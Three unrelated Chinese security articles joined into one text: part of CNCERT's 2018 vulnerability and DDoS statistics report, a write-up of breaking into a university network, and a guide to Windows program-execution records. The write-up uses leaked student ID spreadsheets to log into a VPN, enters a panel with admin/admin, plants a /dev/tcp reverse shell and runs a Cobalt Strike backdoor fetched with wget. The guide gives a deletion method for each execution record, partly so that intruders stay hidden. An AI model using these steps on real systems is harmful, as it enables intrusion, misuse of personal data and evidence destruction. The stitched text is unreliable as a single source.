收录数量持续走高，2018年收录的安全漏洞数量中，“零日”漏洞收录数量占比37.9%，高达5,381个，同比增长39.6%，如图8所示。安全漏洞主要涵盖Google、Microsoft、IBM、Oracle、Cisco、Foxit、Apple、Adobe等厂商产品，如表2所示。按影响对象分类统计，收录漏洞中应用程序漏洞占57.8%，Web应用漏洞占18.7%，操作系统漏洞占10.6%，网络设备（如路由器、交换机等）漏洞占9.5%，安全产品（如防火墙、入侵检测系统等）漏洞占2.4%，数据库漏洞占1.0%，如图9所示。
图8 2013年至2018年CNVD收录安全漏洞数量对比
表2 2018年CNVD收录漏洞涉及厂商情况统计
图9 2018年CNVD收录漏洞按影响对象类型分类统计
2018年，CNVD继续推进移动互联网、电信行业、工业控制系统和电子政务4类子漏洞库的建设工作，分别新增收录安全漏洞数量1,150个（占全年收录数量的8.1%）、720个（占5.1%）、461个（占3.2%）和171个（占1.2%），如图10所示。其中工业控制系统子漏洞库收录数量持续攀升，较2017年增长了22.6%。CNVD全年通报涉及政府机构、重要信息系统等关键信息基础设施安全漏洞事件约2.1万起，同比下降23.6%。
图10 2013年至2018年CNVD子漏洞库收录情况对比
2018年，应用广泛的软硬件漏洞被披露，修复难度很大，给我国网络安全带来严峻挑战，包括计算机中央处理器（CPU）芯片爆出Meltdown漏洞
和Spectre漏洞
，影响了1995年以后生产的所有Intel、AMD、ARM等CPU芯片，同时影响了各主流云服务平台及Windows、Linux、MacOS、Android等主流操作系统。随后，Oracle
Weblogic server、Cisco Smart Install等在我国使用广泛的软件产品也相继爆出存在严重安全漏洞。
**（二）联网智能设备安全漏洞**
2018年，CNVD收录的安全漏洞中关于联网智能设备安全漏洞有2,244个，同比增长8.0%。这些安全漏洞涉及的类型主要包括设备信息泄露、权限绕过、远程代码执行、弱口令等；涉及的设备类型主要包括家用路由器、网络摄像头等。
### 三、拒绝服务攻击
2018年，CNCERT抽样监测发现我国境内峰值超过10Gbps的大流量分布式拒绝服务攻击（DDoS攻击）事件数量平均每月超过4,000起，超过60%的攻击事件为僵尸网络控制发起。僵尸网络主要偏好发动TCP
SYN FLOOD和UDP FLOOD攻击，在线攻击平台主要偏好发送UDP Amplification FLOOD攻击。
**（一）攻击资源情况**
2018年，CNCERT对全年用于发起DDoS攻击的攻击资源进行了持续分析，发现用于发起DDoS攻击的C&C控制服务器 数量共2,108台，总肉鸡
数量约144万台，反射攻击服务器约197万台，受攻击目标IP地址数量约9万个，这些攻击目标主要分布在色情、博彩等互联网地下黑产方面以及文化体育和娱乐领域，此外还包括运营商IDC、金融、教育、政府机构等。
**（二）攻击团伙情况**
2018年，CNCERT共监测发现利用僵尸网络进行攻击的DDoS攻击团伙50个。从全年来看，与DDoS攻击事件数量、C&C控制服务器数量一样，攻击团伙数量在2018年8月达到最高峰。其中，控制肉鸡数量较大的较活跃攻击团伙有16个，涉及C&C控制服务器有358个，攻击目标有2.8万个，如表3所示。为进一步分析这16个团伙的关系情况，通过对全年攻击活动进行分析，发现不同攻击团伙之间相互较为独立，同一攻击团伙的攻击目标非常集中，不同攻击团伙间的攻击目标重合度较小。
表3 2018年活跃攻击团伙基本信息表
### 四、网站安全
2018年，CNCERT加强了对网站攻击资源的分析工作，发现绝大多数网站攻击行为由少量的活跃攻击资源
发起，对我国网站安全影响较大。根据这些攻击资源之间的关联关系，可将其划分为不同的“攻击团伙”所掌握。这些“攻击团伙”不断更换其掌握的大量攻击资源，长期攻击并控制着大量安全防护能力薄弱的网站。通过挖掘和研判“攻击团伙”对受攻击网站的具体操作行为，CNCERT发现这些攻击多带有黑帽SEO
、网页篡改等典型黑产利益意图，并使用流行的攻击工具对网站开展批量化、长期化控制。随着对网站面临安全风险的深入分析，CNCERT掌握了大量的攻击者特征及攻击手法，能为我国做好网站安全管理提出更有针对性、更有效的防范建议。
**（一）网页仿冒**
2018年，CNCERT自主监测发现约5.3万个针对我国境内网站的仿冒页面，页面数量较2017年增长了7.2%。其中，仿冒政务类网站数量明显上升，占比高达25.2%，经分析，这些仿冒页面主要被用于短期内提高其域名的搜索引擎排名，从而快速转化为经济利益。为有效防范网页仿冒引发的危害，CNCERT重点针对金融行业、电信行业网上营业厅的仿冒页面进行处置，全年共协调处置仿冒页面3.5万余个。从承载仿冒页面IP地址归属情况来看，绝大多数位于境外，主要分布在美国和中国香港，如图11所示。
图11 2018年承载仿冒页面IP地址和仿冒页面数量分布
**（二）网站后门**
1\. 我国境内被植入后门情况
2018年，CNCERT监测发现境内外约1.6万个IP地址对我国境内约2.4万个网站植入后门。近三年来，我国境内被植入后门的网站数量持续保持下降趋势，2018年的数量较2017年下降了19.3%。其中，约有1.4万个（占全部IP地址总数的90.9%）境外IP地址对境内约1.7万个网站植入后门，位于美国的IP地址最多，占境外IP地址总数的23.2%，其次是位于中国香港和俄罗斯的IP地址，如图12所示。从控制我国境内网站总数来看，位于中国香港的IP地址控制我国境内网站数量最多，有3,994个，其次是位于美国和俄罗斯的IP地址，分别控制了我国境内3,607个和2,011个网站。
图12 2018年境外向我国境内网站植入后门IP地址所属国家或地区TOP10
2\. 网站后门“攻击团伙”情况
2018年，CNCERT监测发现，攻击活跃在 10 天以上的网站“攻击团伙”有 777 个，全年活跃的“攻击团伙”13
个，如图所示。“攻击团伙”中使用过的攻击 IP地址数量大于 100个 的有 22 个，攻击网站数量超过 100 个的“攻击团伙”有 61
个。从“攻击团伙”的攻击活跃天数来看，少数攻击团伙能够保持持续活跃，如图13所示。多数“攻击团伙”的活跃天数较短，无法形成对被入侵网站服务器的持久化控制；少量值得关注的“攻击团伙”具有长时间持续攻击的特点，持续对其入侵的多个网站服务器实现长期控制。
图13 不同活跃天数的“攻击团伙”数量统计
**（三）网页篡改**
2018年，CNCERT监测发现我国境内遭篡改的网站有7,049个，较2017年的约2万个有大幅的下降，下降了64.9%，其中被篡改的政府网站有216个，较2017年的618个减少65.0%，如图14所示。从网页遭篡改的方式来看，被植入暗链的网站占全部被篡改网站的比例为56.9%，占比呈现持续缩小趋势。从境内被篡改网页的顶级域名分布来看，“.com”、“.net”和“.gov.cn”占比分列前三位，分别占总数的66.3%、7.7%和3.1%，占比分布情况与2017年无明显变化。
图14 2013年至2018年我国境内被篡改网站数量情况
### 五、工业互联网安全
**（一）工业网络产品安全检测情况**
为贯彻《网络安全法》并落实对网络关键设备和网络安全专用产品的安全管理规定，确保入网设备的网络安全防护水平，安全入网检测工作已得到关键信息基础设施运营者的重视。CNCERT自主研发了工业互联网安全测试平台Acheron，在2017年获得了ISAsecure权威认证
。2018年，CNCERT使用该平台，对主流工控设备和网络安全专用产品进行了安全入网抽检，并对电力二次设备进行了专项安全测试。在所涉及35个国内外主流厂商的87个型号产品中共发现232个高危漏洞，可能产生的风险包括拒绝服务攻击、远程命令执行、信息泄露等，如图15所示。利用这些漏洞，攻击者可使工控设备宕机，甚至获取设备控制权限，可能对其他工业网络设备发起攻击。CNCERT还分析发现，在电力设备测试中发现部分漏洞呈现同源性特征，经分析因大多数电力设备厂商在实现IEC
61850协议（电力系统最重要的通信协议之一）时都采用了美国SISCO公司的第三方开发套件，显示了较严重的产品供应链安全风险。
图15 2018年工业网络产品安全检测中发现的高危漏洞类型分布
**（二）联网工业设备和工业云平台暴露情况**
2018年，CNCERT不断升级监测手段，扩大监测范围，进一步加强了针对联网工业设备和工业云平台的网络安全问题跟踪，全年累计发现境外对我国暴露工业资产的恶意嗅探事件约4,451万起，较2017年数量暴增约17倍；发现我国境内暴露的联网工业设备数量共计6,020个，涉及西门子、韦益可自控、罗克韦尔等37家国内外知名厂商产品，如图16所示，这些联网设备的厂商、型号、版本、参数等信息遭恶意嗅探。另外，CNCERT发现具有一定规模的工业云平台30多家，业务涉及能源、金融、物流、智能制造、智慧城市等方面，并监测发现根云、航天云网、COSMOPlat、OneNET、OceanConnect等大型工业云平台持续遭受漏洞利用、拒绝服务、暴力破解等网络攻击，工业云平台正逐渐成为网络攻击的重点目标。
图16 2018年发现的联网工业设备厂商分布情况
**（三）重点行业远程巡检情况**
电力、石化等重点行业的生产监控管理系统因存在网络配置疏漏等问题，可能会直接暴露在互联网上，一旦遭受网络攻击，影响巨大。为评估重要行业联网工业监控管理系统的网络安全风险情况，2018年CNCERT对电力、城市公用工程、石油天然气三个行业开展了远程安全巡检工作，发现电力行业暴露相关监控管理系统532个，涉及政府监管、电企管理、用电管理和云平台4大类；城市公用工程行业暴露相关监控管理系统1,015个，涉及供水、供暖和燃气3大类；石油天然气行业暴露相关监控管理系统298个，涉及油气开采、油气运输、油气存储、油品销售、化工生产和政府监管6大类，如图17所示。同时，CNCERT分析发现，电力、城市公用工程和石油天然气三个行业的联网监控管理系统均存在高危漏洞隐患，各自占监控管理系统的比例为10%、28%和35%，且部分暴露的监控管理系统存在遭境外恶意嗅探、网络攻击的情况。
图17 2018年发现的重点行业联网监控管理系统分类
### 六、互联网金融安全
为实现对我国互联网金融平台网络安全总体态势的宏观监测，CNCERT发挥技术优势，建设了国家互联网金融风险分析技术平台网络安全监测功能，对我国互联网金融相关网站、移动APP等的安全风险进行监测。2018年，CNCERT支撑相关部门，就北京地区275家网贷机构运营的275个网贷平台网站、192个移动APP进行网络安全检查，并对其提交的落实网络安全工作的材料进行审核，以作为这些网贷机构能够获得网贷备案的必要条件。
**（一）互联网金融网站安全情况**
2018年，CNCERT发现互联网金融网站的高危漏洞1,700个，其中XSS跨站脚本类型漏洞占比最多有782个（占比46.0%）；其次是SQL注入漏洞476个（占比28.0%）和远程代码执行漏洞85个（占比5.0%），如图18所示。近年来，随着互联网金融行业的发展，互联网金融平台运营者的网络安全意识有所提升，互联网金融平台的网络安全防护能力有所加强，特别是规模较大的平台，但仍有部分平台安全防护能力不足，安全隐患较多，CNCERT监测发现高危互联网金融网站330个，其中部分平台存在的高危漏洞数量超过10项。
图18 互联网金融网站高危漏洞分布情况
**（二）互联网金融APP安全情况**
在移动互联网技术发展和应用普及的背景下，用户通过互联网金融APP进行投融资的活动愈加频繁，绝大多数的互联网金融平台通过移动APP开展业务，且有部分平台仅通过移动APP开展业务。2018年，CNCERT对430个互联网金融APP进行检测，发现安全漏洞1,005个，其中高危漏洞240个，明文数据传输漏洞数量最多有50个(占高危漏洞数量的20.8%)，其次是网页视图（Webview）明文存储密码漏洞有48个（占20.0%）和源代码反编译漏洞有31个（占12.9%），如图19所示。这些安全漏洞可能威胁交易授权和数据保护，存在数据泄露风险，其中部分安全漏洞影响应用程序的文件保护，不能有效阻止应用程序被逆向或者反编译，进而使应用暴露出多种安全风险。
图19 互联网金融移动APP高危漏洞分布情况
**（三）区块链系统安全情况**
伴随互联网金融的发展，攻击者攻击互联网金融平台牟利的手段不断升级，并融合了金融业务特征，出现“互联网+金融”式攻击，尤其是在区块链数字货币等业务领域表现得更为明显。首先，区块链系统往往自带金融属性，直接运行数字货币等资产；其次，区块链相关代码多为开源，容易暴露风险；第三，区块链系统在对等网络环境中运行，网络中的节点防护能力有限；第四，用户自行保管私钥，一旦丢失或盗取无法找回；第五，相关业务平台发展时间短，系统安全防护经验和手段不完善、全面性和强度不足。2018年3月，虚拟数字货币交易平台“币安”遭攻击。攻击者盗取用户在该平台的交易接口密钥，通过自动化交易大幅拉升“维尔币（VIA）”的价格。攻击者提前在币安埋下VIA的高价卖单，利用其巨额涨幅获取暴利。同时黑客通过散播攻击的消息，导致短时间市场出现恐慌，市场价格大幅下跌，黑客也可在其他交易平台通过瞬时做空的形式获利；这种攻击方式通过盗取用户信息恶意操纵行情变化获利，方式新颖，防范难度大。
报告中引用的第三方数据：
①③④相关数据来源于
卡巴斯基全球DDoS攻击趋势报告（2015.Q1-2018.Q4）
中国电信云堤、绿盟科技联合发布的《2018DDoS攻击态势报告》
阿里云《2018年DDoS攻击全态势：战胜第一波攻击成“抗D” 关键》
②相关信息来源于
360威胁情报中心《全球高级持续性威胁(APT)2018年报告》
⑤相关数据来源于
中国互联网络信息中心发布的第43次《中国互联网络发展状况统计报告》 | 社区文章 |
## 0x00 前言
能完成这次渗透纯属是信息收集做到位了。很多其实都是分散的信息，在某一次关键点集合起来就有可能拿到权限。这个漏洞已提交补天并修复完成了。
## 0x01 信息收集
### 一、发现敏感信息
此次使用的方法：
* Google Hack
* Github Hack（没有收获）
* 前端信息泄露
* ARL 灯塔资产收集（子域名、IP、端口服务、文件泄露）
通过使用 `filetype:xls site:xxx.edu.cn 身份`
去搜索发现了不少带身份证表字段的表，但是是否真的有敏感信息还要一个个去下载审查。
发现一个标题为名单，我猜测肯定有信息，下载后打开。
### 二、发现入口点
在 ARL 资产列表中有一个 webvpn，我心想这不就是内网入口吗？
发现需要身份证和学号登陆，这些都可以从刚才那张表拿到。随便挑一个登陆。
发现只有一个应用能够点击，直接访问后观察 URl 发现是有规律的。
### 三、vpn 分配
`http://xxx-xxx-edu-cn-s.xxx.xxx.edu.cn:8118/`
结构应当是这样的
`http://[访问地址].xxx.xxx.edu.cn:8118`
可以变化的是访问地址，那么为了验证我的猜想，直接返回系统界面。
将这个地址改变成：`2021-ip138-com` 去做个拼接
发现完全可行。
### 四、前端信息泄露
在抓包 `www.xxx.edu.cn` 官网的时候我发现了一处内网地址
### 五、尝试访问
10.30.252.33，我再次拼接。
访问失败了，但是我猜测这个应当是提供校园网站服务器主机的网段。尝试修改 C段访问。
当我访问到 10.30.252.23 的时候发现是能够正常访问的，也就是说可以进行内网探测，但是似乎没发指定端口和 https 访问。没有头绪，只能
Google 看看有没有其他地址记录的先例。
`site:xxx.xxx.edu.cn:8118`
发现一处地址 `http://xxx-xxx-edu-cn-8090-p-s.xxx.xxx.edu.cn:8118/surveydetail.aspx?pid=5&cid=397`
原来我们直接使用 -8080-p 即可指定端口，而 -s 则是指定 https 访问。
如此一来我们可以进行手工内网探测了。
## 0x02 内网 shell
在进过一番测试后，找到了一个宝塔地址。
直接上手弱口令
账号 | 密码
---|---
admin | admin
成功进入后，去任务计划
反弹shell 安排上 `bash -i >& /dev/tcp/IP/PORT 0>&1`
上去之后再下载 VPS 上的 **CobaltStrike (Cross2插件)** Linux 后门
`wget http://IP:PORT/SHELLCODE && chmod +x SHELLCODE && ./SHELLCODE`
服务器成功上线。
## 0x03 总结
渗透最为重要的一环也是渗透的起点，那就是对于目标的信息收集。一些毫不起眼的数据往往能达到突破的作用，这整一套下来不是偶然而是必然。 | 社区文章 |
## 前言
当我们拿下一台windows主机权限的时候之后，我们第一步需要全面了解主机的信息，而文件执行记录也是一个非常重要的点，下面总结常见文件执行记录的位置、以及单条清除方法
## 从日志中获取
### Audit Process Creation (592/4688)
在启用了"审核进程创建"时记录4688的情况下（系统默认是关闭的，需要手动开启），`Windows 7`、`Windows Server
2008`及以上版本，会在每次创建一个进程时会把事件以`Event ID`为`4688`记录到windows安全日志中
**注** ：`Windows XP/2003`的`Event ID`为`592`
开启：`Edit Default Domain Policy -> Policy location: Computer Configuration ->
Policies -> Windows Settings -> Security Settings -> Advanced Audit
Configuration -> Detailed Tracking`
策略名称: `Audit Process Creation`
查看ID为`4688`的安全事件：
命令行获取：
wevtutil qe security /rd:true /f:text /q:"Event[System[(EventID=4688)]]"
清除方法：可以参考三好学生师傅[这篇文章](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4/)
### Program Inventory Event Log
> `Program Inventory`win7及以上存在，主要用于记录软件活动摘要、安装的程序、安装的Internet
> Explorer加载项、更新的应用程序、已删除的应用程序
文件夹中的位置：`C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Inventory.evtx`，如图
在Windows事件查看器的位置：`Applications and Services Logs\Microsoft\Application-Experience\Program-Inventory`，如图
日志获取：
wevtutil qe /f:text Microsoft-Windows-Application-Experience/Program-Inventory
Envent IDs：
1. 800 (`summary of software activities`)
2. 900 & 901 (`new Internet Explorer add-on`)
3. 903 & 904 (`new application installation`)
4. 905 (`updated application`)
5. 907 & 908 (`removed application`)
清除方法：可以参考三好学生师傅[这篇文章](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4/)
### Program-Telemetry Event Log
> win7及以上存在，在应用程序启动时为应用程序处理应用程序兼容性缓存请求
文件夹中的位置：`C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Telemetry.evtx`
在Windows事件查看器的位置：`Applications and Services Logs\Microsoft\Application-Experience\Program-Telemetry`，如图
日志获取：
wevtutil qe /f:text Microsoft-Windows-Application-Experience/Program-Telemetry
Event IDs：500/505
清除方法：可以参考三好学生师傅[这篇文章](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4/)
## 从注册表中获取
### ShimCache (AppCompatCache)
> 用来识别应用程序兼容性问题。缓存数据跟踪文件路径、大小、上次修改时间和是否被执行（取决于操作系统），Windows
> XP的ShimCache被限制为96条记录，此后所有版本最多保留1024条记录。
**注** ：虽然记录在`ShimCache`中的存在但是并不能100%证明文件是被执行过的，但它确实显示了与文件交互的窗口
注册表位置：
**注** ：数据加密，重启之后更新
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache
解析工具（C#）：
https://github.com/EricZimmerman/AppCompatCacheParser/
例子
以csv格式保存的指定路径
AppCompatCacheParser.exe --csv .
按上次修改时间排序
AppCompatCacheParser.exe --csv . -t
如果我们想离线分析，我们可以用这个项目：<https://github.com/mandiant/ShimCacheParser>
导出注册表
reg export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" ShimCache.reg
解析
python ShimCacheParser.py -o test.csv -r ShimCache.reg -t
结果
清除方法：
1. 导出`ShimCache`
reg export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" ShimCache.reg
2. 重启之后（只能重启之后`ShimCache`才会更新，注销不行），导入注册表将重启之后的覆盖掉
reg import ShimCache.reg
### UserAssist
> 跟踪在资源管理器中打开的可执行文件和完整路径，其中UserAssist保存了windows执行的程序的运行次数和上次执行日期和时间。
注册表位置：
**注** ：记录实时更新，数据rot-13加密
当前用户：
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist
所有用户：
HKEY_USERS\<sid>\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist
`
解析工具：<https://www.nirsoft.net/utils/userassist_view.html>
图形化界面
命令行使用
UserAssistView.exe /stext out.txt //保存文本格式
UserAssistView.exe /shtml out.txt //保存html格式
UserAssistView.exe /sxml out.txt //保存xml格式
清除方法：删除对应的键值即可
### MUICache
> 每次开始使用新的应用程序时，Windows都会自动从exe文件的版本资源中提取应用程序名，并将其存储在名为`MuiCache`的注册表项中，供以后使用。
**注** ：无加密，记录实时更新
注册表位置：
windows server 2003及以前的
当前用户：
HKEY_CURRENT_USER/Software/Microsoft/Windows/ShellNoRoam/MUICache
所有用户：
HKEY_USERS\<sid>\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
windows server 2003及以后的
当前用户：
HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
所有用户：
HKEY_USERS\<sid>\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
图形化界面：
解析工具：<http://www.nirsoft.net/utils/muicache_view.html>
命令行使用
MUICache.exe /stext out.txt //保存文本格式
MUICache.exe /shtml out.txt //保存html格式
MUICache.exe /sxml out.txt //保存xml格式
或者命令行直接查询注册表也可以
reg query "HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache"
清除方法：删除对应的键值即可
### RunMRU
> 保存Win+R启动程序的历史记录
注册表位置：
**注** ：数据无加密，记录实时更新
当前用户：
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
所有用户：
HKEY_USERS\<sid>\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
命令行查询注册表
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
清除方法：删除注册表对应的键值即可
### AppCompatFlags Registry Keys
保存所有以兼容模式启动的程序（包括以管理员身份运行的程序）：
**注** ：无加密，数据实时更新
HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
查询方式直接查询注册表即可：
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers"
保存所有执行过的程序：
解析工具：<https://nirsoft.net/utils/executed_programs_list.html>
这个工具会解析如下路径（包含了上面我们说过的`MUICache`，也包含了我们后面说的`Prefetch`）
**注** ：1 ~ 4无加密，5加密，1 ~ 5数据实时更新
1. Registry Key: HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
2. Registry Key: HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache
3. Registry Key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Persisted
4. Registry Key: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store
5. Windows Prefetch folder (C:\Windows\Prefetch)
图形化界面：
命令行解析：
ExecutedProgramsList.exe /stext out.txt //保存文本格式
ExecutedProgramsList.exe /shtml out.txt //保存html格式
ExecutedProgramsList.exe /sxml out.txt //保存xml格式
清除方法：删除对应的注册表键值
### Background Activity Moderator (BAM)
> BAM是一个控制后台应用程序活动的Windows服务，该服务存在于windows10 version 1709及以后版本中
注册表路径为：
**注** ：记录实时更新，数据无加密
HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}
记录包含了程序路径和上次执行日期和时间，其中执行日期键值类型为`FILETIME(64bit little Endian)`
执行时间提取：以`winrar`为例子
把`filetime`转化为`datetime`
from __future__ import division
import struct
import sys
from binascii import unhexlify
from datetime import datetime, timedelta
nt_timestamp = struct.unpack("<Q", unhexlify("dc14dd91be7cd501"))[0]
epoch = datetime(1601, 1, 1, 0, 0, 0)
nt_datetime = epoch + timedelta(microseconds=nt_timestamp / 10)
print(nt_datetime.strftime("%Y/%m/%d %H:%M:%S"))
output：`2019/10/07 03:23:21`
清除方法：删除对应的注册表键值
### RecentApps
>
> win10之后特有，RecentApps包含了系统上已访问的多个应用程序和文件的引用。除了应用程序和文件名之外，RecentApps还提供了应用程序的路径，启动计数，文件的完整路径以及上次访问文件的时间。
[参考文章](https://df-stream.com/2017/10/recentapps/)
注册表位置为：
**注** ：记录实时更新，数据无加密
HKCU\Software\Microsoft\Windows\Current Version\Search\RecentApps
`RecentApps`键的下面是一系列由GUID命名的子项，在RecentApps下的每个`GUID`子项都对应一个应用程序。一些GUID子项也具有其他子项，它们与应用程序访问的特定文件相对应。
**注**
：`LastAccessedTime`是采用64位的`FILETIME`格式，转化为`datetime`也比较简单，用系统自带的`w32tm.exe`就行
w32tm.exe /ntte 131781889970180000
output: 152525 08:03:17.0180000 - 2018/8/8 16:03:17
或者用powershell
powershell -c "[datetime]::FromFileTime(0x1d42eee43808fa0)"
output: 2018年8月8日 16:03:17
清除方法：删除对应的注册表键值
## 从文件中获取
### Prefetch
> Prefetch是预读取文件夹，用来存放系统已访问过的文件的预读信息，扩展名为PF。之所以自动创建Prefetch文件夹，是为了加快系统启动的进程。
查看该功能是否开启：
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" /v EnablePrefetcher
键值代表的含义
0 = Disabled
1 = Application launch prefetching enabled
2 = Boot prefetching enabled
3 = Applaunch and Boot enabled (Optimal and Default)
位置为：
**注** ：实时更新，数据加密
C:\Windows\Prefetch
解析工具:<https://github.com/EricZimmerman/PECmd>
参数:
PECmd.exe -f "C:\Temp\CALC.EXE-3FBEF7FD.pf"
PECmd.exe -f "C:\Temp\CALC.EXE-3FBEF7FD.pf" --json "D:\jsonOutput" --jsonpretty
PECmd.exe -d "C:\Temp" -k "system32, fonts"
PECmd.exe -d "C:\Temp" --csv "c:\temp" --json c:\temp\json
PECmd.exe -d "C:\Windows\Prefetch"
PS：按`csv`导出的有两个文件：`"time_prefix".PECmd_Output.csv`和`"time_prefix".PECmd_Output_Timeline.csv`，前者保存了详情信息，后者只保存了运行时间和可执行程序的名称
`"time_prefix".PECmd_Output_Timeline.csv`的
`"time_prefix".PECmd_Output.csv`
清除方法：根据`PECmd`导出的结果删除对应的pf文件即可
### JumpLists
> 记录用户最近使用的文档和应用程序，方便用户快速跳转到指定文件
位置：
%APPDATA%\Microsoft\Windows\Recent
查询：直接列出文件(夹)即可
dir %APPDATA%\Microsoft\Windows\Recent
清除方法：清除`%APPDATA%\Microsoft\Windows\Recent`路径下的文件即可
### Amcache / RecentFileCache.bcf
> Windows中的使用这两个文件来跟踪具有不同可执行文件的应用程序兼容性问题，它可用于确定可执行文件首次运行的时间和最后修改时间。
`win7`、`windows server 2008R2`等系统保存位置：
> 只包含了程序的创建时间、上次修改时间、上次访问时间和文件名
C:\Windows\AppCompat\Programs\RecentFileCache.bcf
`win8`、`win10`、`windows server 2012`等系统保存位置：
> 包含了文件大小、版本、sha1、二进制文件类型等等信息
**注** ：Win7系统安装`KB2952664`后，也会支持Amcache.hve
C:\Windows\AppCompat\Programs\Amcache.hve
`RecentFileCache.bcf`解析工具
`c#`版：<https://github.com/EricZimmerman/RecentFileCacheParser>
用法实例：
RecentFileCacheParser.exe -f "C:\Windows\AppCompat\Programs\RecentFileCache.bcf" --csv "c:\temp"
RecentFileCacheParser.exe -f "C:\Windows\AppCompat\Programs\RecentFileCache.bcf" --json "D:\jsonOutput" --jsonpretty
结果
`python`版：<https://github.com/prolsen/recentfilecache-parser>
用法
rfcparse.py -f C:\Windows\AppCompat\Programs\RecentFileCache.bcf
`Amcache.hve`解析工具
`c#`版: <https://github.com/EricZimmerman/AmcacheParser>
`python`版: <https://github.com/williballenthin/python-registry/blob/master/samples/amcache.py>
`powershell`版: <https://github.com/yoda66/GetAmCache/blob/master/Get-Amcache.ps1>
用法示例：
AmcacheParser.exe -f "C:\Windows\AppCompat\Programs\Amcache.hve" --csv C:\temp
AmcacheParser.exe -f "C:\Windows\AppCompat\Programs\Amcache.hve" -i on --csv C:\temp
AmcacheParser.exe -f "C:\Windows\AppCompat\Programs\Amcache.hve" -w "c:\temp\whitelist.txt" --csv C:\temp
如果我们直接执行的话，会提示："正由另一进程使用，因此该进程无法访问此文件"
解决方法是把`Amcache.hve`复制到其它目录，我们可以使用`shadow copy`把`Amcache.hve`复制到当前目录，然后再执行就可以了
结果
清除方法可以参考三好学生师傅的这篇文章：[链接](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-RecentFileCache.bcf%E5%92%8CAmcache.hve%E5%8D%95%E6%9D%A1%E8%AE%B0%E5%BD%95%E7%9A%84%E6%B8%85%E9%99%A4/)
### SRUM (System Resource Usage Monitor)
> Technology that monitors desktop application programs,services, windows apps
> and network connections
[参考文章](\[https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492184583.pdf\]\(https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492184583.pdf)
适用于`win8`及以上系统，数据加密，实时记录
可以使用python解析：<https://github.com/MarkBaggett/srum-dump>
用法实例：
srum_dump2.exe --SRUM_INFILE c:\Windows\system32\sru\SRUDB.dat
python srum_dump2.py --SRUM_INFILE c:\Windows\system32\sru\SRUDB.dat
清除方法：待补充
### win10时间轴
> `Windows Timeline`是Windows10在1803版中引入的一个新特性
用户可以使用`Win` \+
`Tab`可以对其进行访问，时间轴就像浏览器的历史记录一样，它记录了包含您访问过的网站，还包含您编辑的文档，您玩过的游戏，您查看或创建的图像等，其保存的记录在`ActivitiesCache.db`之中
参考文章：
<https://kacos2000.github.io/WindowsTimeline/WindowsTimeline.pdf>
<https://cclgroupltd.com/2018/05/03/windows-10-timeline-forensic-artefacts/>
`ActivitiesCache.db`位置在
**注** ：无加密，数据实时更新
C:\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<random_char>\ActivitiesCache.db
本质是`sqlite3`数据库文件，它包含的表如下
其中最重要的一个表是`Activity`，`Activity`表包含的字段有`AppId`（包含应用程序的路径），开始时间，结束时间等等
清除方法：删掉`sqlite3`数据库文件中指定记录即可
## other
### 计划任务
计划任务往往是一个值得关注的点也是一个容易忽略的点。站在攻击的角度来讲，计划任务可以持久化后门、执行指定恶意程序等等；站在防御、取证的角度来讲，计划任务执行之后，系统是不会自动删除的（重启或者注销也是不会删除的），这就可能导致入侵者会忽略把计划任务清除，这就有利于我们的取证
列出所有任务
cmd：
schtasks.exe
powershell：
Get-ScheduledTask
根据文件夹列出所有任务
powershell:
Get-ScheduledTask -TaskPath "\"
根据任务名查看任务的详情信息
schtasks.exe /query /v /tn test /fo list
清除方法：删除指定的计划任务即可：`schtasks.exe /delete /tn Task_name /F`
## 总结
站在攻击者的角度来说，获取系统中的文件执行记录有利于我们信息收集、清理系统中的文件执行记录能进一步防止暴露自己
站在防御、取证的角度来说，定期清理系统中的文件执行记录能防止一些敏感信息泄露，但是这些信息能够被伪造和删除的所以不能盲目相信
## Reference
<https://3gstudent.github.io/3gstudent.github.io/>
<https://blog.1234n6.com/2018/10/available-artifacts-evidence-of.html?m=1> | 社区文章 |
